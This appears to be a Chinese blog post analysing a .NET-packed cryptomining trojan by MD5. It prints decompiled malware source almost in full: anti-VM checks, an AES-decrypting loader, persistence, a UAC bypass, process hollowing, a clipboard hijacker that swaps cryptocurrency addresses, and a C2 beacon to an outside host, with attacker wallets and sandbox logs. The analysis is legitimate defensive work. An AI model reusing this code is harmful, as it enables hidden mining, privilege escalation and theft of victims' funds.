一个.net加密壳的挖矿木马分析
样本md5:02B886B7B245F7CA52172F299D279A0F


问题:挖矿木马有时候可以启动,有时候起不来?WHY?逆向看看,结论:
foreach (Process process3 in Process.GetProcesses())
{
if (process3.ProcessName.ToLower() == "taskmgr" || process3.ProcessName.ToLower() == "processhacker" || process3.ProcessName.ToLower() == "Диспетчер задач" || process3.ProcessName.ToLower() == "procexp")
{
Environment.Exit(0);
}
}
原来是开启了任务管理器或者processhacker之类的!
接下来是过程:
先看下其执行的函数主体:
using System;
using System.IO;
using System.Reflection;
using System.Security.Cryptography;
using System.Text.RegularExpressions;
using Class3;
namespace Systemwindows
{
// Token: 0x02000002 RID: 2
internal class System
{
// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
private static void Main(string[] args)
{
try
{
new DADSAOKQW8URHASQWE().Run();
}
catch
{
}
try
{
System.Udussdusdu();
}
catch
{
}
}
// Token: 0x06000002 RID: 2 RVA: 0x00002094 File Offset: 0x00000294
public static string Dsydadaydas()
{
return File.ReadAllText(Assembly.GetEntryAssembly().Location);
}
// Token: 0x06000003 RID: 3 RVA: 0x000020A5 File Offset: 0x000002A5
private byte[] vsaJ8m2E()
{
if ("{1211-222-001-002}".Length <= 0)
{
return new byte[]
{
1,
2
};
}
return new byte[]
{
1,
2
};
}
// Token: 0x06000004 RID: 4 RVA: 0x000020D1 File Offset: 0x000002D1
public static string VtRxeDjqPXmq()
{
return new Regex("polderhelitcer.*polderhelitcer").Matches(System.Dsydadaydas())[0].Value.Replace("polderhelitcer", "");
}
// Token: 0x06000005 RID: 5 RVA: 0x00002101 File Offset: 0x00000301
private byte[] JBbaqw1132dndGL()
{
if ("{111-22222-0001-0001}".Length <= 0)
{
return new byte[]
{
1,
2
};
}
return new byte[]
{
1,
2
};
}
// Token: 0x06000006 RID: 6 RVA: 0x0000212D File Offset: 0x0000032D
public static string DjqPXmq()
{
return Regex.Split(System.Dsydadaydas(), "polderhelitcer")[2];
}
// Token: 0x06000007 RID: 7 RVA: 0x00002140 File Offset: 0x00000340
private byte[] Hpuodaqds9Ksaw2wB()
{
if ("{21141`11-2222-2008421-00001}".Length <= 0)
{
return new byte[]
{
1,
2
};
}
return new byte[]
{
1,
2
};
}
// Token: 0x06000008 RID: 8 RVA: 0x0000216C File Offset: 0x0000036C
public static void Udussdusdu()
{
Assembly.Load(System.Decrypt(Convert.FromBase64String(System.DjqPXmq()), System.VtRxeDjqPXmq())).EntryPoint.Invoke(null, new object[]
{
new string[0]
});
}
// Token: 0x06000009 RID: 9 RVA: 0x000021A4 File Offset: 0x000003A4
public static byte[] Decrypt(byte[] input, string key)
{
PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[]
{
67,
135,
35,
114
});
MemoryStream memoryStream = new MemoryStream();
Aes aes = new AesManaged();
aes.Key = passwordDeriveBytes.GetBytes(aes.KeySize / 8);
aes.IV = passwordDeriveBytes.GetBytes(aes.BlockSize / 8);
CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateDecryptor(), CryptoStreamMode.Write);
cryptoStream.Write(input, 0, input.Length);
cryptoStream.Close();
return memoryStream.ToArray();
}
}
}
可以确定是在执行加密的.net PE文件。
看下这个函数实现:
new DADSAOKQW8URHASQWE().Run();
using System;
using System.Management;
using System.Runtime.InteropServices;
namespace Class3
{
// Token: 0x02000004 RID: 4
public class DADSAOKQW8URHASQWE
{
// Token: 0x0600000C RID: 12 RVA: 0x00002230 File Offset: 0x00000430
public static bool LOWDARAS()
{
foreach (ManagementBaseObject managementBaseObject in new ManagementObjectSearcher("Select * from Win32_ComputerSystem").Get())
{
string text = managementBaseObject["Manufacturer"].ToString().ToLower();
if (text.Contains("microsoft corporation") || text.Contains("vmware")) //检测虚拟机运行
{
return true;
}
if (managementBaseObject["Model"] != null)
{
string text2 = managementBaseObject["Model"].ToString().ToLower();
if (text2.Contains("microsoft corporation") || text2.Contains("vmware"))
{
return true;
}
}
}
return false;
}
// Token: 0x0600000D RID: 13 RVA: 0x00002300 File Offset: 0x00000500
public static bool OIOQR0SASR()
{
bool result;
try
{
if (DADSAOKQW8URHASQWE.IASDIJSAIJWEW("SbieDll.dll").ToInt32() != 0)
{
result = true;
}
else
{
result = false;
}
}
catch
{
result = false;
}
return result;
}
// Token: 0x0600000E RID: 14 RVA: 0x00002340 File Offset: 0x00000540
public void Dytp()
{
try
{
Environment.Exit(0); // 如果是虚拟机环境运行 则直接退出
}
catch
{
}
}
// Token: 0x0600000F RID: 15
[DllImport("kernel32.dll")]
public static extern IntPtr IASDIJSAIJWEW(string lpModuleName);
// Token: 0x06000010 RID: 16 RVA: 0x00002368 File Offset: 0x00000568
public void Run()
{
try
{
if (DADSAOKQW8URHASQWE.LOWDARAS())
{
this.Dytp();
}
if (DADSAOKQW8URHASQWE.OIOQR0SASR())
{
this.Dytp();
}
}
catch
{
}
}
}
}
可以看到,其会检测虚拟机环境,如果是vmvare的,则直接退出了!

动态调试,直接修改"text",“text2”变量,让其不包含vmvare!继续往下运行:
private static void Main(string[] args)
{
try
{
new DADSAOKQW8URHASQWE().Run();
}
catch
{
}
try
{
System.Udussdusdu(); //到这个函数
}
catch
{
}
}
// 上述函数的具体实现
// Token: 0x06000008 RID: 8 RVA: 0x0000216C File Offset: 0x0000216C
public static void Udussdusdu()
{
Assembly.Load(System.Decrypt(Convert.FromBase64String(System.DjqPXmq()), System.VtRxeDjqPXmq())).EntryPoint.Invoke(null, new object[]
{
new string[0]
});
}
可以看到是直接运行解密的.net PE数据!解密的key:

用的是AES解密:
public static byte[] Decrypt(byte[] input, string key)
{
PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[]
{
67,
135,
35,
114
});
MemoryStream memoryStream = new MemoryStream();
Aes aes = new AesManaged();
aes.Key = passwordDeriveBytes.GetBytes(aes.KeySize / 8);
aes.IV = passwordDeriveBytes.GetBytes(aes.BlockSize / 8);
CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateDecryptor(), CryptoStreamMode.Write);
cryptoStream.Write(input, 0, input.Length);
cryptoStream.Close();
return memoryStream.ToArray();
}
然后将解密的数据保存为PE文件:

然后继续打开该PE文件,可以看到完整的挖矿源码了:
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Management;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
using System.Windows.Forms;
using Microsoft.Win32;
using MinerAns;
using VolVeRFINAL.Properties;
namespace VolVeRFINAL
{
// Token: 0x02000002 RID: 2
internal class Program
{
// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
public static bool UMutexAC()
{
bool flag;
Program.curderApp = new Mutex(false, config.mutex, ref flag);
try
{
if (flag)
{
Thread.Sleep(2000);
}
}
catch
{
}
return flag;
}
// Token: 0x06000002 RID: 2 RVA: 0x00002094 File Offset: 0x00000294
public static void Defolt()
{
while (!new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator))
{
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.FileName = "cmd.exe";
processStartInfo.UseShellExecute = true;
processStartInfo.Verb = "runas";
processStartInfo.Arguments = "/k START \"\" \"" + Assembly.GetEntryAssembly().Location + "\" & EXIT";
try
{
Process.Start(processStartInfo);
Environment.Exit(0);
}
catch (Exception)
{
}
}
}
// Token: 0x06000003 RID: 3 RVA: 0x00002120 File Offset: 0x00000320
private static void Main(string[] args)
{
try
{
if (File.Exists(config.folder + "\\" + config.FileName))
{
File.Delete(config.folder + "\\" + config.FileName);
}
if (!Directory.Exists(config.folder))
{
Directory.CreateDirectory(config.folder);
}
if (!File.Exists(config.folder + "\\" + config.FileName))
{
File.Copy(Assembly.GetEntryAssembly().Location, config.folder + "\\" + config.FileName);
}
}
catch
{
}
try
{
Program.UMutexAC();
}
catch
{
}
if (!new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator))
{
try
{
ProcessStartInfo startInfo = new ProcessStartInfo
{
FileName = "schtasks.exe",
CreateNoWindow = false,
WindowStyle = ProcessWindowStyle.Hidden,
Arguments = string.Concat(new string[]
{
"/create /sc MINUTE /mo 3 /tn \"MicrosoftEdgeUpdate\" /tr \"",
config.folder,
"\\",
config.FileName,
"\" /f"
})
};
Process.Start(startInfo);
goto IL_180;
}
catch
{
goto IL_180;
}
}
try
{
Program.Powershell(string.Concat(new string[]
{
"Remove-ItemProperty -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '",
config.RegName,
"';New-ItemProperty -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '",
config.RegName,
"' -Value '\"",
Path.Combine(config.folder, config.FileName),
"\"' -PropertyType 'String'"
}));
}
catch
{
}
IL_180:
if (config.antiSandbox == "true")
{
try
{
if (Analysis.isVirtualMachine())
{
Environment.Exit(0);
}
}
catch (Exception)
{
}
}
if (config.antiDebugger == "true")
{
try
{
if (Analysis.DetectSandboxie())
{
Environment.Exit(0);
}
}
catch (Exception)
{
}
}
if (config.forceUAC == "true")
{
try
{
Program.Defolt();
}
catch (Exception)
{
}
}
int num = 0;
ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("select AdapterRAM from Win32_VideoController");
foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get())
{
ManagementObject managementObject = (ManagementObject)managementBaseObject;
uint? num2 = managementObject.Properties["AdapterRAM"].Value as uint?;
if (num2 != null)
{
num = (int)(num2 / 1048576U).Value;
}
}
int num3 = num / 1024;
byte[] payloadBuffer = new byte[0];
byte[] payloadBuffer2 = new byte[0];
using (MemoryStream memoryStream = new MemoryStream(Resources.xmrig))
{
using (ZipArchive zipArchive = new ZipArchive(memoryStream))
{
foreach (ZipArchiveEntry zipArchiveEntry in zipArchive.Entries)
{
using (MemoryStream memoryStream2 = new MemoryStream())
{
zipArchiveEntry.Open().CopyTo(memoryStream2);
payloadBuffer = memoryStream2.ToArray();
}
}
}
}
using (MemoryStream memoryStream3 = new MemoryStream(Resources.ethminer))
{
using (ZipArchive zipArchive2 = new ZipArchive(memoryStream3))
{
foreach (ZipArchiveEntry zipArchiveEntry2 in zipArchive2.Entries)
{
using (MemoryStream memoryStream4 = new MemoryStream())
{
zipArchiveEntry2.Open().CopyTo(memoryStream4);
payloadBuffer2 = memoryStream4.ToArray();
}
}
}
}
if (config.dwudauiadjws == "true")
{
try
{
File.WriteAllBytes(config.folder + "\\opersystem.exe", Resources.iqdisakwe);
new Process
{
StartInfo =
{
FileName = config.folder + "\\opersystem.exe"
}
}.Start();
File.SetAttributes(config.folder + "\\opersystem.exe", FileAttributes.Hidden);
}
catch
{
}
}
List<string> list = new List<string>();
list.Add("mmc");
list.Add("ProcessHacker");
list.Add("Taskmgr");
list.Add("Диспетчер задач");
string args2 = string.Concat(new string[]
{
"--algo rx/0 --donate-level 0 --max-cpu-usage ",
config.moneroUsage,
" -o",
config.moneroPool,
" -u ",
config.moneroWallet
});
string args3 = string.Concat(new string[]
{
"-P stratum1+tcp://",
config.etcWallet,
".",
config.etcWorker,
"@",
config.etcPool
});
string args4 = string.Concat(new string[]
{
"-P stratum1+tcp://",
config.ethWallet,
".",
config.ethWorker,
"@",
config.ethPool
});
string fileNameWithoutExtension = Path.GetFileNameWithoutExtension("C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\AddInUtil.exe");
string fileNameWithoutExtension2 = Path.GetFileNameWithoutExtension("C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe");
if (num3 > 4)
{
try
{
Program.PE.Run(payloadBuffer2, "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe", args3);
goto IL_577;
}
catch
{
goto IL_577;
}
}
if (num3 > 8)
{
try
{
Program.PE.Run(payloadBuffer2, "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe", args4);
}
catch
{
}
}
try
{
IL_577:
Program.PE.Run(payloadBuffer, "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\AddInUtil.exe", args2);
}
catch
{
}
if (config.WebPanel == "true")
{
try
{
Host.getTasks();
}
catch
{
}
}
if (config.bypassUAC == "owdoaodsoa")
{
try
{
if (!new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator))
{
Program.UAC();
Environment.Exit(0);
}
}
catch (Exception)
{
}
}
for (;;)
{
foreach (string processName in list)
{
Process[] processesByName = Process.GetProcessesByName(processName);
while (processesByName.Length != 0)
{
foreach (Process process in Process.GetProcessesByName(fileNameWithoutExtension))
{
try
{
process.Kill();
}
catch
{
}
}
foreach (Process process2 in Process.GetProcessesByName(fileNameWithoutExtension2))
{
try
{
process2.Kill();
}
catch
{
}
}
processesByName = Process.GetProcessesByName(processName);
}
}
try
{
foreach (Process process3 in Process.GetProcesses())
{
if (process3.ProcessName.ToLower() == "taskmgr" || process3.ProcessName.ToLower() == "processhacker" || process3.ProcessName.ToLower() == "Диспетчер задач" || process3.ProcessName.ToLower() == "procexp")
{
Environment.Exit(0);
}
}
Thread.Sleep(7000);
}
catch
{
}
if (config.Hipper == "true")
{
string text = "bc1qptp78yqeu7cagwaewnf0n4u8wh7ynwvadq2xux";
string text2 = "0x5B2e5aB2f0bb903c5aB3Efc4958fE4AA48ceed24";
string text3 = "47jTRtaRQkBapSUtTUNXfzDQC8gJSsqPR3Af78RizkxSdzB5YXwir8b2pC226t6tqRD18acVK2oqJWws5SP7TM1iGzEN7vL";
try
{
Thread.Sleep(500);
string text4 = Program.Clipboard.GetText();
if (new Regex("^3[a-km-zA-HJ-NP-Z1-9]{25,34}$+").IsMatch(text4))
{
Program.Clipboard.SetText(text);
}
if (new Regex("^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$").IsMatch(text4))
{
Program.Clipboard.SetText(text);
}
if (new Regex("^0x[a-fA-F0-9]{40}$").IsMatch(text4))
{
Program.Clipboard.SetText(text2);
}
if (new Regex("(?:^4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$)").IsMatch(text4))
{
Program.Clipboard.SetText(text3);
}
}
catch (Exception)
{
}
}
}
}
// Token: 0x06000004 RID: 4 RVA: 0x00002B84 File Offset: 0x00000D84
public static void Powershell(string args)
{
ProcessStartInfo startInfo = new ProcessStartInfo
{
FileName = "powershell.exe",
Arguments = args,
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
UseShellExecute = false
};
Process.Start(startInfo);
}
// Token: 0x06000005 RID: 5 RVA: 0x00002BC8 File Offset: 0x00000DC8
public static void UAC()
{
string text = Assembly.GetExecutingAssembly().Location + " && REM";
new Program.AlwaysNotify();
if (!text.Contains("REM"))
{
Environment.Exit(1);
}
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Environment", true);
registryKey.SetValue("windir", text);
new Process
{
StartInfo =
{
WindowStyle = ProcessWindowStyle.Hidden,
FileName = "C:\\windows\\system32\\schtasks.exe",
Arguments = "/Run /TN \\Microsoft\\Windows\\DiskCleanup\\SilentCleanup /I"
}
}.Start();
Thread.Sleep(2000);
registryKey.DeleteValue("windir");
}
// Token: 0x04000001 RID: 1
public static Mutex curderApp;
// Token: 0x02000003 RID: 3
public class AlwaysNotify
{
// Token: 0x06000007 RID: 7 RVA: 0x00002C78 File Offset: 0x00000E78
public AlwaysNotify()
{
RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
string a = registryKey.GetValue(Encoding.Default.GetString(Convert.FromBase64String("Q29uc2VudFByb21wdEJlaGF2aW9yQWRtaW4="))).ToString();
string a2 = registryKey.GetValue(Encoding.Default.GetString(Convert.FromBase64String("UHJvbXB0T25TZWN1cmVEZXNrdG9w"))).ToString();
registryKey.Close();
if (!(a == "2" & a2 == "1"))
{
return;
}
Environment.Exit(1);
}
}
// Token: 0x02000004 RID: 4
public static class Clipboard
{
// Token: 0x06000008 RID: 8 RVA: 0x00002D18 File Offset: 0x00000F18
public static string GetText()
{
string Return = string.Empty;
Thread thread = new Thread(delegate()
{
Return = System.Windows.Forms.Clipboard.GetText();
});
thread.SetApartmentState(ApartmentState.STA);
thread.Start();
thread.Join();
return Return;
}
// Token: 0x06000009 RID: 9 RVA: 0x00002D78 File Offset: 0x00000F78
public static void SetText(string txt)
{
Thread thread = new Thread(delegate()
{
System.Windows.Forms.Clipboard.SetText(txt);
});
thread.SetApartmentState(ApartmentState.STA);
thread.Start();
thread.Join();
}
}
// Token: 0x02000005 RID: 5
public static class PE
{
// Token: 0x0600000A RID: 10
[DllImport("kernel32.dll")]
private unsafe static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, Program.PE.StartupInfo* lpStartupInfo, byte[] lpProcessInfo);
// Token: 0x0600000B RID: 11
[DllImport("kernel32.dll")]
private static extern long VirtualAllocEx(long hProcess, long lpAddress, long dwSize, uint flAllocationType, uint flProtect);
// Token: 0x0600000C RID: 12
[DllImport("kernel32.dll")]
private static extern long WriteProcessMemory(long hProcess, long lpBaseAddress, byte[] lpBuffer, int nSize, long written);
// Token: 0x0600000D RID: 13
[DllImport("ntdll.dll")]
private static extern uint ZwUnmapViewOfSection(long ProcessHandle, long BaseAddress);
// Token: 0x0600000E RID: 14
[DllImport("kernel32.dll")]
private static extern bool SetThreadContext(long hThread, IntPtr lpContext);
// Token: 0x0600000F RID: 15
[DllImport("kernel32.dll")]
private static extern bool GetThreadContext(long hThread, IntPtr lpContext);
// Token: 0x06000010 RID: 16
[DllImport("kernel32.dll")]
private static extern uint ResumeThread(long hThread);
// Token: 0x06000011 RID: 17
[DllImport("kernel32.dll")]
private static extern bool CloseHandle(long handle);
// Token: 0x06000012 RID: 18 RVA: 0x00002DB8 File Offset: 0x00000FB8
public unsafe static void Run(byte[] payloadBuffer, string host, string args)
{
int num = Marshal.ReadInt32(payloadBuffer, 60);
int num2 = Marshal.ReadInt32(payloadBuffer, num + 24 + 56);
int nSize = Marshal.ReadInt32(payloadBuffer, num + 24 + 60);
int num3 = Marshal.ReadInt32(payloadBuffer, num + 24 + 16);
short num4 = Marshal.ReadInt16(payloadBuffer, num + 4 + 2);
short num5 = Marshal.ReadInt16(payloadBuffer, num + 4 + 16);
long num6 = Marshal.ReadInt64(payloadBuffer, num + 24 + 24);
Program.PE.StartupInfo structure = default(Program.PE.StartupInfo);
structure.cb = (uint)Marshal.SizeOf<Program.PE.StartupInfo>(structure);
structure.wShowWindow = 0;
structure.dwFlags = 1U;
byte[] array = new byte[24];
IntPtr intPtr = Marshal.AllocHGlobal(77);
string text = host;
if (!string.IsNullOrEmpty(args))
{
text = text + " " + args;
}
string currentDirectory = Directory.GetCurrentDirectory();
Marshal.WriteInt32(intPtr, 48, 1048603);
Program.PE.CreateProcess(null, text, IntPtr.Zero, IntPtr.Zero, true, 4U, IntPtr.Zero, currentDirectory, &structure, array);
long num7 = Marshal.ReadInt64(array, 0);
long num8 = Marshal.ReadInt64(array, 8);
Program.PE.ZwUnmapViewOfSection(num7, num6);
Program.PE.VirtualAllocEx(num7, num6, (long)num2, 12288U, 64U);
Program.PE.WriteProcessMemory(num7, num6, payloadBuffer, nSize, 0L);
for (short num9 = 0; num9 < num4; num9 += 1)
{
byte[] array2 = new byte[40];
Buffer.BlockCopy(payloadBuffer, num + (int)(24 + num5) + (int)(40 * num9), array2, 0, 40);
int num10 = Marshal.ReadInt32(array2, 12);
int num11 = Marshal.ReadInt32(array2, 16);
int srcOffset = Marshal.ReadInt32(array2, 20);
byte[] array3 = new byte[num11];
Buffer.BlockCopy(payloadBuffer, srcOffset, array3, 0, array3.Length);
Program.PE.WriteProcessMemory(num7, num6 + (long)num10, array3, array3.Length, 0L);
}
Program.PE.GetThreadContext(num8, intPtr);
byte[] bytes = BitConverter.GetBytes(num6);
long num12 = Marshal.ReadInt64(intPtr, 136);
Program.PE.WriteProcessMemory(num7, num12 + 16L, bytes, 8, 0L);
Marshal.WriteInt64(intPtr, 128, num6 + (long)num3);
Program.PE.SetThreadContext(num8, intPtr);
Program.PE.ResumeThread(num8);
Marshal.FreeHGlobal(intPtr);
Program.PE.CloseHandle(num7);
Program.PE.CloseHandle(num8);
}
// Token: 0x06000013 RID: 19 RVA: 0x00002FDC File Offset: 0x000011DC
private static IntPtr Align(IntPtr source, int alignment)
{
long num = source.ToInt64() + (long)(alignment - 1);
return new IntPtr((long)alignment * (num / (long)alignment));
}
// Token: 0x02000006 RID: 6
[StructLayout(LayoutKind.Explicit, Size = 104)]
public struct StartupInfo
{
// Token: 0x04000002 RID: 2
[FieldOffset(0)]
public uint cb;
// Token: 0x04000003 RID: 3
[FieldOffset(60)]
public uint dwFlags;
// Token: 0x04000004 RID: 4
[FieldOffset(64)]
public ushort wShowWindow;
}
}
}
}
另外一个配置类和Host类:
using System;
namespace VolVeRFINAL
{
// Token: 0x02000007 RID: 7
internal class config
{
// Token: 0x04000005 RID: 5
public static string moneroUsage = "25";
// Token: 0x04000006 RID: 6
public static string moneroWallet = "8BEkM3VeZHUQgFevjUBjpYKHKtfbMS9xKMEnWezdD2Rp4BAcsASXFPV6sWYbDU3N1jgPcERvcqUSfLtD6EQiR3AtB2LGDjj";
// Token: 0x04000007 RID: 7
public static string moneroPool = "pool.hashvault.pro:80";
// Token: 0x04000008 RID: 8
public static string etcWallet = "0x5a285Cddf2057ffe8b78E2904e2939271C94a957";
// Token: 0x04000009 RID: 9
public static string etcPool = "etc.2miners.com:1010";
// Token: 0x0400000A RID: 10
public static string ethWallet = "0xac956d72ef62ead6cadcbce4338ed56fc39f2976";
// Token: 0x0400000B RID: 11
public static string ethPool = "eth.2miners.com:2020";
// Token: 0x0400000C RID: 12
public static string ethWorker = "ethrig";
// Token: 0x0400000D RID: 13
public static string etcWorker = "etcrig";
// Token: 0x0400000E RID: 14
public static string mutex = "ZZIOREUEZCTVTVVMOS";
// Token: 0x0400000F RID: 15
public static string folder = Environment.GetEnvironmentVariable("AppData") + "\\Windows";
// Token: 0x04000010 RID: 16
public static string FileName = "winupdate.exe";
// Token: 0x04000011 RID: 17
public static string RegName = "winupdate";
// Token: 0x04000012 RID: 18
public static string bypassUAC = "true";
// Token: 0x04000013 RID: 19
public static string antiSandbox = "true";
// Token: 0x04000014 RID: 20
public static string antiDebugger = "true";
// Token: 0x04000015 RID: 21
public static string forceUAC = "forceder";
// Token: 0x04000016 RID: 22
public static string Hipper = "true";
// Token: 0x04000017 RID: 23
public static string WebPanel = "true";
// Token: 0x04000018 RID: 24
public static string dwudauiadjws = "true";
}
}
using System;
using System.IO;
using System.Management;
using System.Net;
using System.Security.Principal;
namespace VolVeRFINAL
{
// Token: 0x0200000A RID: 10
internal class Host
{
// Token: 0x06000022 RID: 34 RVA: 0x000032D8 File Offset: 0x000014D8
public static string get(string url)
{
string result;
try
{
WebRequest webRequest = WebRequest.Create(url);
webRequest.Credentials = CredentialCache.DefaultCredentials;
((HttpWebRequest)webRequest).UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0";
StreamReader streamReader = new StreamReader(webRequest.GetResponse().GetResponseStream());
result = streamReader.ReadToEnd();
}
catch
{
result = null;
}
return result;
}
// Token: 0x06000023 RID: 35 RVA: 0x00003338 File Offset: 0x00001538
public static string[] getTasks()
{
int num = 0;
ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("select AdapterRAM from Win32_VideoController");
foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get())
{
ManagementObject managementObject = (ManagementObject)managementBaseObject;
uint? num2 = managementObject.Properties["AdapterRAM"].Value as uint?;
if (num2 != null)
{
num = (int)(num2 / 1048576U).Value;
}
}
int num3 = num / 1024;
string text = "";
using (ManagementObjectSearcher managementObjectSearcher2 = new ManagementObjectSearcher("select * from Win32_VideoController"))
{
foreach (ManagementBaseObject managementBaseObject2 in managementObjectSearcher2.Get())
{
ManagementObject managementObject2 = (ManagementObject)managementBaseObject2;
text = text + managementObject2["Name"].ToString() + "; ";
}
}
string text2 = "";
if (num3 > 4)
{
text2 = " | ETC";
}
if (num3 > 8)
{
text2 = " | ETH";
}
string[] array = Host.get(string.Concat(new object[]
{
Host.adm,
"?hwid=",
WindowsIdentity.GetCurrent().Name,
"&gpuname=",
text,
"&mining=",
num3,
"&active=XMR",
text2
})).Split(new char[]
{
'|'
});
string[] array2 = new string[array.Length];
int num4 = 0;
foreach (string text3 in array)
{
try
{
string[] array4 = text3.Split(new char[]
{
';'
});
string text4 = array4[0].Equals("Update") ? "upd" : "dwl";
string text5 = array4[1];
string text6 = array4[2];
array2[num4] = string.Concat(new string[]
{
text4,
";",
text5,
";",
text6
});
}
catch (Exception)
{
}
num4++;
}
return array2;
}
// Token: 0x0400001B RID: 27
private static string adm = "http://f0702521.xsph.ru/cmd.php";
}
}
好了,使用GPT4综合分析下:
1. config 类:这个类主要用于存储配置信息,包括各种钱包地址、矿池地址、工作名、互斥量、文件名、注册名等。这些配置信息可能会被其他类或方法使用。
2. Host 类:这个类主要用于网络请求和获取系统信息。get 方法用于发送网络请求并获取响应,getTasks 方法用于获取系统的显卡信息和挖矿任务。
总的来说,这两个类可能是某种挖矿软件的一部分,用于配置挖矿参数和执行挖矿任务!
Program 类是一个主程序类,它包含了一些方法用于执行特定的操作。这个类可能是某种恶意软件的一部分,具体功能如下:
1. UMutexAC 方法:创建一个互斥量,用于防止程序的多个实例同时运行。
2. Defolt 方法:尝试以管理员权限运行程序。
3. Main 方法:这是程序的入口点,它执行了一系列的操作,包括删除和复制文件,创建互斥量,检查是否有管理员权限,如果没有则创建计划任务以获取权限,检查是否在沙箱或调试器中运行,如果是则退出,启动挖矿进程,检查剪贴板中的内容,如果是特定格式的地址则替换为预设的地址。
4. Powershell 方法:执行Powershell命令。
5. UAC 方法:尝试绕过用户账户控制(UAC),获取管理员权限。
6. AlwaysNotify 类:检查系统的UAC设置,如果设置为总是通知,则退出程序。
7. Clipboard 类:获取和设置剪贴板的内容。
8. PE 类:执行PE文件的加载和运行。
看下微步沙箱的结果:

共分析了23个进程 1b3adf.exe (PID:3260) "C:\tmpejxdxt\1b3adf.exe" powershell.exe (PID:3436) "powershell.exe" Remove-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'winupdate';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'winupdate' -Value '"C:\Users\Admin\AppData\Roaming\Windows\winupdate.exe"' -PropertyType 'String' opersystem.exe (PID:3592) "C:\Users\Admin\AppData\Roaming\Windows\opersystem.exe" wscript.exe (PID:3704) "C:\Windows\System32\WScript.exe" "C:\Portnet\9LUf7xQNOlUBbNUxzKuIYqFs7hpLD.vbe" cmd.exe (PID:3864) C:\Windows\system32\cmd.exe /c ""C:\Portnet\GkY25ZfqKtEhI7it2.bat" " Agentprovidercomponent.exe (PID:3940) "C:\Portnet\Agentprovidercomponent.exe" schtasks.exe (PID:2296) schtasks.exe /create /tn "1b3adf1" /sc MINUTE /mo 10 /tr "'C:\py\1b3adf.exe'" /f schtasks.exe (PID:2524) schtasks.exe /create /tn "1b3adf" /sc ONLOGON /tr "'C:\py\1b3adf.exe'" /rl HIGHEST /f schtasks.exe (PID:2692) schtasks.exe /create /tn "1b3adf1" /sc MINUTE /mo 14 /tr "'C:\py\1b3adf.exe'" /rl HIGHEST /f schtasks.exe (PID:2944) schtasks.exe /create /tn "WeChatW" /sc MINUTE /mo 6 /tr "'C:\Windows\Tasks\WeChat.exe'" /f schtasks.exe (PID:2888) schtasks.exe /create /tn "WeChat" /sc ONLOGON /tr "'C:\Windows\Tasks\WeChat.exe'" /rl HIGHEST /f schtasks.exe (PID:3048) schtasks.exe /create /tn "WeChatW" /sc MINUTE /mo 8 /tr "'C:\Windows\Tasks\WeChat.exe'" /rl HIGHEST /f schtasks.exe (PID:2348) schtasks.exe /create /tn "lsml" /sc MINUTE /mo 10 /tr "'C:\Program Files\Microsoft.NET\lsm.exe'" /f schtasks.exe (PID:3388) schtasks.exe /create /tn "lsm" /sc ONLOGON /tr "'C:\Program Files\Microsoft.NET\lsm.exe'" /rl HIGHEST /f 1b3adf.exe (PID:3556) C:\py\1b3adf.exe schtasks.exe (PID:3740) schtasks.exe /create /tn "lsml" /sc MINUTE /mo 10 /tr "'C:\Program Files\Microsoft.NET\lsm.exe'" /rl HIGHEST /f WeChat.exe (PID:3516) C:\Windows\Tasks\WeChat.exe schtasks.exe (PID:3796) schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 8 /tr "'C:\py\cmd.exe'" /f schtasks.exe (PID:856) schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\py\cmd.exe'" /rl HIGHEST /f schtasks.exe (PID:2440) schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 5 /tr "'C:\py\cmd.exe'" /rl HIGHEST /f schtasks.exe (PID:2488) schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 11 /tr "'C:\py\Idle.exe'" /f lsm.exe (PID:2984) "C:\Program Files\Microsoft.NET\lsm.exe" schtasks.exe (PID:2856) schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\py\Idle.exe'" /rl HIGHEST /f